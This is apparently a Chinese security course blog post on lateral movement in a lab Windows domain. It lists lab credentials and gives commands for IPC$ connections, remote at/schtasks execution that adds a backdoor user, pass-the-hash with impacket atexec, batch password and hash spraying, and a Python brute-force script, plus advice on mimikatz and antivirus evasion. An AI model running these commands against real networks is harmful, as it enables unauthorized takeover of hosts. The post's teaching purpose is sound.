66:内网安全-域横向批量at&schtasks&impacket——IPC机制:类似ssh/scp可以远程执行定时任务,at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令;pass hash就是ssh本地私有秘钥,可以用他直接登录

66:内网安全-域横向批量at&schtasks&impacket

思维导图

本课重点

  • 案例1:横向渗透明文传递
  • 案例2:横向渗透明文HASH传递atexec-impacket
  • 案例3:横向渗透明文HASH传递批量利用-综合
  • 案例4:横向渗透明文HASH传递批量利用-升级版

环境准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2008 r2 webserver 域内web服务器
本地管理员账号密码: .\administraotr:admin!@#45
当前机器域用户密码: god\webadmin:admin!@#45
 
2003 x86 fileserver 域内文件服务器
本地管理员账号密码:administrator:admin
当前机器域用户密码: god\fileadmin:Admin12345
 
2008 r2 x64 dc god.org 主域控机器
域管账号密码: God\administrator:Admin12345
 
2012 sqlserver 域内数据库服务器
本地管理员账号密码:.\administrator:admin!@#45
当前机器域用户密码:god\dbadmin:admin!@#45
 
w7 x64 mary-pc 域内个人机
本地管理员账号密码:.\mary:admin
当前机器域用户密码:god\mary:admin!@#45
 
w8.1 x64 jack-pc 域内个人机
本地管理员账号密码:.\jack:admin
当前机器域用户密码:god\boss:Admin12345

案例1:横向渗透明文传递

在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令。

获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进城间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用

利用流程:

  • 1.建立IPC链接到目标主机==》这玩意本质上和ssh登录、scp等操作没啥区别啊!!!
  • 2.拷贝要执行的命令脚本到目标主机
  • 3.查看目标时间,创建计划任务( at,schtasks )定时执行拷贝到的脚本
  • 4.删除IPC链接
1
2
3
4
5
6
7
8
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除文件
net use \\xx.xx.xx.xx\ipc$ \del     # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

建立IPC常见的错误代码

  • (1) 5:拒绝访问,可能是使用的不是管理员权限,需要先提升权限
  • (2) 51:网络问题,windoows无法找到网络路径
  • (3) 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
  • (4) 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
  • (5) 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
  • (6) 1326:账号密码错误
  • (7) 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
  • (8) 2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

  • (1) 目标系统不是NT或以上的操作系统
  • (2) 对方没有打开IPC$共享
  • (3) 对方未开启139,445端口,或者被防火墙屏蔽
  • (4) 输出命令,账号密码有错误

[at] & [schtasks]

1
2
3
4
5
6
7
8
9
10
11
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy add.bat \192.168.3.21\c$  #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat    #添加计划任务
 
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

案例演示

<1>获取到DC的IP地址。执行以下两个命令时,需要域用户登录,而不是本地用户登录

<2>假设已经找到DC的用户名密码(具体后面再详细讲)

<3>横向渗透

由于域控DC是Win2008R2(< Windows2012),可以使用at命令。

1
2
3
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

一段时候后,xiaodi用户就自动添加成功了。

<4>如果目标计算机>=Windows2012,需要使用schtasks命令。

比如前期信息收集得到了sqlserver的用户名密码,SqlServer是window2012系统。

如下图,当使用域用户登录时,copy是失败的,原因是权限不够,应该使用本地用户登录。

使用本地用户登录,执行如下命令

1
2
3
4
5
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

等待一段时间,成功添加新用户。

1
2
3
net user 查看用户中是否多了一个xiaodi
net user xiaodi 查看xiaodi账户创建时间是否为刚才计划任务的时间
net user xiaodi /del 不需要了的话可以删除

案例2:横向渗透明文HASH传递atexec-impacket

atexec

  • 优点:一句话命令,连接、提权全部搞定。
  • 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
  • atexec是Impacket网络协议工具包中的一个工具。Impacket工具包介绍:https://www.freebuf.com/sectool/175208.html
1
2
3
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

案例演示

<1>impacket工具包下载,可下载exe版本

  • 地址:https://gitee.com/RichChigga/impacket-examples-windows

<2>执行命令,直接提权

案例3:横向渗透明文HASH传递批量利用-综合

1
2
3
4
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

<1>websever登录,运行mimikatz,得到用户名密码。

<2>用微软自带命令探测网段存活主机

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自带内部命令(推荐使用)

<3>批量检测IP对应明文连接

1
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接

 

发现网段内另一台主机192.168.3.29(jack-pc)与webserver用了相同的账户密码,并且可以直接提权到system权限。

<4>在jack-pc上运行mimikatz,获取到另一个账户密码。

<5>接下来,可以使用新密码继续批量检测IP对应明文。

1
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版

执行at_ip.bat,发现192,.168.3.21也用了该密码,而它正好就是域控!

<6>或者可以采用另一种方法,由于此时我们已经拿到了2个真实的账号密码,可以写一个字典表,直接去探测域控。

1
2
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

执行at_ip.bat,找到了域控192,.168.3.21的密码!直接提权!

当然了,这是我们测试环境,实战中一般没这么快!至少需要很多轮的信息收集,才能逐渐靠近域控。

案例4:横向渗透明文HASH传递批量利用-升级版

前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能吃西瓜?

1
net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

案例3中都是批处理命令,只能遍历一个变量(不知道可不可遍历2个变量,反正我不会写),如果想要遍历多个变量,比如IP、用户名、密码等,可以写python脚本,免杀,使用Pyinstaller打包成exe文件,上传到目标机器运行

脚本(最好写成多线程的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os,time
ips={
   '192.168.3.21',
   '192.168.3.25',
   '192.168.3.29',
   '192.168.3.30',
   '192.168.3.31',
   '192.168.3.33'
}
 
users={
   'Administrator',
   'boss',
   'dbadmin',
   'fileadmin',
   'mack',
   'mary',
   'vpnadm',
   'webadmin'
}
passs={
   'admin',
   'admin!@#45',
   'Admin12345'
}
 
for ip in ips:
   for user in users:
       for mima in passs:
           exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
           print('--->'+exec+'<---')
           os.system(exec)
           time.sleep(1)

编译

1
2
pip install pyinstaller
pyinstaller -F fuck_neiwang_001.py 生成可执行EXE

案例演示

<1>首先,查看网络连接,此时结果是空的,没有连接;然后运行exe文件,结束后再次查看网络连接,发现连接上了5台主机。

<2>接下来,拷贝执行文件到目标主机,执行at或者schtasks命令创建任务即可。

 

 

附:IPC的更多知识! https://baijiahao.baidu.com/s?id=1679595824192043078&wfr=spider&for=pc

我们也可以打开计算机管理,在共享文件夹,共享中可以查看默认共享和ipc连接等一些信息。

输入命令net use \\192.168.1.11\ipc$ "123456" /user:"laogai",这个命令的意思就是连接ip192.168.1.11的ipc连接,使用了密码123456用户名laogai。==》net use 访问远程电脑

连接完成之后可以输入命令net use,可以看到有一个ipc连接。

我们再次输入命令net use z:\\192.168.1.11\c$,这样就把192.168.1.11的C盘映射到了本机的Z盘,这里并没有输入用户名和密码,是因为刚才已经建立了ipc连接,所以不用输入了。

我们打开计算机,也可以看到网络位置有一个z盘,这个就是192.168.1.11的c盘。

我们也可以进入到Z盘,输入dir可以查看Z盘的一些信息。

输入命令net use z: /del,这样就能删除z盘。

我们再输入命令net use,可以看到目前是只有一个ipc连接。

我们输入命令net use \\192.168.1.11\ipc$ /del,这样就能把ipc连接也删除掉了。

posted @ 2022-02-20 16:59  bonelee  阅读(417)  评论(0编辑  收藏  举报